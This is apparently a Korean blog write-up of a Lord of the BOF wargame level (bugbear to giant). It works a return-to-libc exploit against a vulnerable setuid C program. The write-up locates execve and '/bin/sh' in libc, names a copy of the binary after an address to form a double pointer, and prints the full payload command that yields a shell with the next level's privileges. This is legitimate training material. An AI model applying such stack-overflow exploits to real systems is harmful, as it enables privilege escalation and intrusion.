[LOB] bugbear
시작
안녕하세요 :D
덥네요.. 더워…
즐겁게 RTL2 문제를 풀어보도록 해요 ㅎㅎ
RTL 체인을 만드는 문제가 나올 줄 알았는데 함수 하나만 쓰는 문제라 쪼끔 실망했습니다 ㅋㅋㅋㅋㅋㅋ
시작해보죠!!
Write UP
/*
The Lord of the BOF : The Fellowship of the BOF
- giant
- RTL2
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char buffer[40];
FILE *fp;
char *lib_addr, *execve_offset, *execve_addr;
char *ret;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
execve_addr = lib_addr + (int)execve_offset;
// end
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
소스가 훅 들어오네요.. 왜케 길어ㅠ
근데 어디서 본 것 같은 느낌이죠??
pwntools로 익스 짤 때 libc leak 해서 베이스 주소 구한 다음에 system이나 execve의 offset을 더해준 적이 있었어요.
execve_addr = lib_addr + (int)execve_offset;
여길 보니 딱 그거네요. if문 위에 뿌려진 코드들은 execve의 주소를 구하기 위한 과정인 것을 알았습니다.
execve 함수는 하도 많이 써서 사용법이 익숙할 거에요.
첫 번째 인자로 "/bin/sh"
, 두 번째 인자로 "/bin/sh"
의 주소를 가리키는 주소(더블포인터), 세 번째 인자로 NULL을 주면 돼요.
하나하나 구해봅시다!!
(gdb) p execve
$1 = {} 0x400a9d48 <__execve>
execve() 주소 : 0x400a9d48
#include <stdio.h>
int main() {
int system = 0x40058ae0;
while(memcmp((void *)system, "/bin/sh\x00", 4)) {
system++;
}
printf("%p\n", system);
return 0;
}
[bugbear@localhost giant]$ ./sh
0x400fbff9
"/bin/sh"
주소 : 0x400fbff9
여기까진 잘 구했는데.. 저 0x400fbff9
를 가리키는 주소가 필요해요.
스택을 다 뒤져보면 어딘가에 있을 수도 있지만 머리를 조금 더 써 보겠습니다.
지금까지 LOB를 풀면서 알게된 것 중 하나인, 스택엔 파일명, 쉘 정보, 환경변수 등등..이 올라간다는 것을 이용할게요!!
스택의 끝자락엔 파일 이름이 무조건 올라가요. 따라서 파일명을 "/bin/sh"
를 가리키는 주소인 0x400fbff9
로 해준다면
자연스럽게 더블포인터가 만들어지겠죠??
원본을 복사해서 만들겠습니다.
[bugbear@localhost giant]$ cp ~/giant ./`python -c 'print "\xf9\xbf\x0f\x40"'`
[bugbear@localhost giant]$ gdb -q ./`python -c 'print "\xf9\xbf\x0f\x40"'`
(gdb) b *main
Breakpoint 1 at 0x8048560
(gdb) r
Starting program: /tmp/giant/./▒@
Breakpoint 1, 0x8048560 in main ()
(gdb) x/100s 0xbfffff00
0xbfffff00: "ASH_ENV=/home/bugbear/.bashrc"
0xbfffff1e: "LANG=en_US"
0xbfffff29: "LOGNAME=bugbear"
0xbfffff39: "SHLVL=1"
0xbfffff41: "SHELL=/bin/bash2"
0xbfffff52: "USERNAME="
0xbfffff5c: "HOSTTYPE=i386"
0xbfffff6a: "OSTYPE=linux-gnu"
0xbfffff7b: "HISTSIZE=1000"
0xbfffff89: "TERM=xterm"
0xbfffff94: "HOME=/home/bugbear"
0xbfffffa7: "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/bugbear/bin"
0xbfffffea: "/tmp/giant/./▒\017@"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbffffff7
부분에 0x400fbff9
가 올라와 있네요.
덤으로 0xbffffffc
엔 NULL도 있는 것이 확인되었습니다.
익스를 구성해볼까요?
BUF + SFP (44) | execve (4) | dummy (4) | “/bin/sh” | &(“/bin/sh”) | NULL
계속 세폴이 떠서 왜 그런가 했는데..
입력할 때 execve() 함수의 주소에서 \x0a
가 있어요. 얘는 개행 문자이기 때문에 페이로드가 중간에 끊깁니다.
때문에 argv[1]을 큰 따옴표로 한 번더 묶어줄게요!!
[bugbear@localhost giant]$ ./`python -c 'print "\xf9\xbf\x0f\x40"'` "`python -c 'print "A" * 44 + "\x48\x9d\x0a\x40" + "BBBB" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH▒
@BBBB▒@▒▒▒▒▒▒▒▒
bash$ id
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
bash$ my-pass
euid = 514
one step closer
Exploit!!
마무리
이 문제때매 구글링을 하다가 setuid가 걸려있는 파일은 코어가 안 떨어진다는 것을 알았어요.. 어쩐지ㅠㅠ
ulimit -c unlimited만 계속 때렸는데 ㅋㅋㅋㅋㅋ 원래 안 떨어지는 거였네요.
파일명을 주소값으로 설정해서 더블포인터를 만든다는 점이 재밌습니다.
감사합니다!! :D